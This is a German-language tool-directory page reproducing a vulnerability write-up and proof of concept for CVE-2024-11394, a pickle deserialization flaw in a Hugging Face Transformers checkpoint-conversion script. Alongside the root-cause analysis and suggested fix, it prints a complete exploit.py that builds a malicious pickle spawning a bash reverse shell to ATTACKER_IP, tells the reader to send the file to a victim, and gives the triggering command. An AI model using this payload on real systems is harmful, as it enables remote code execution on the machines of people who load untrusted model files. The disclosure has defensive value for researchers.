Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/piyush-bhor/cve-2024-11394
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungKI-Sicherheit
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Technische Details und Exploit für CVE-2024-11394

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-11394

Hugging Face Transformers Trax Model – Sicherheitslücke durch Deserialisierung nicht vertrauenswürdiger Daten zur Remotecodeausführung

Allgemeine Übersicht und Auswirkungen der Sicherheitslücke:
Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf dem Host-Rechner auszuführen, indem er eine bösartige reformer trax-Checkpoint-Datei an das Skript convert_reformer_trax_checkpoint_to_pytorch.py im Hugging Face Transformers Repository übergibt.
Wenn ein ahnungsloser Benutzer eine reformer trax-Checkpoint-Datei eines Drittanbieters verwendet, führt die Ausführung des Skripts convert_reformer_trax_checkpoint_to_pytorch.py zur Remotecodeausführung (RCE) auf dem System des Opfers.

Das betroffene Produkt

  • Produkt: Hugging Face Transformers
  • Modul: Reformer
  • Datei: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Version: Neueste
  • GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
Tool herunterladen

Ursachenanalyse

  • Detaillierte Beschreibung der Sicherheitslücke: Die Sicherheitslücke resultiert aus unsicherer Deserialisierung nicht vertrauenswürdiger Daten. Das Skript verwendet pickle.load, um die Checkpoint-Datei zu laden, und ist anfällig für Codeausführung.

  • Codeablauf von der Eingabe bis zur verwundbaren Bedingung:

  1. Der Benutzer lädt ein reformer trax-Modell eines Drittanbieters herunter.
  2. Der Benutzer führt das Skript convert_reformer_trax_checkpoint_to_pytorch.py aus und übergibt die Checkpoint-Datei an dieses.
  3. Das Skript convert_reformer_trax_checkpoint_to_pytorch.py deserialisiert die Checkpoint-Datei und führt den bösartigen Code aus.
  • Injektionspunkt: Die Sicherheitslücke tritt an der Stelle auf, an der pickle.load aufgerufen wird.
    GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Vorgeschlagene Korrekturen: Ersetzen Sie pickle.load durch yaml.safe_load(yaml_file) oder json.load, um die Ausführung von beliebigem Code zu verhindern.

  • Anleitung zur Ausführung des Proof-of-Concept:

  1. Führen Sie exploit.py aus, um eine bösartige Pickle-Datei malicious.pkl zu erstellen, die eine Reverse-Shell auf dem System des Opfers erstellt:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Hinweis: Ändern Sie ATTACKER_IP und ATTACKER_PORT, bevor Sie die Datei an das Opfer senden.

  1. Erstellen Sie eine Konfigurationsdatei config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Führen Sie das Skript convert_reformer_trax_checkpoint_to_pytorch.py aus und übergeben Sie die Datei malicious.pkl an --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Hinweis: Der pytorch_dump_folder_path kann auf ein beliebiges Verzeichnis gesetzt werden.

Software-Download-Link:
https://github.com/huggingface/transformers/tree/main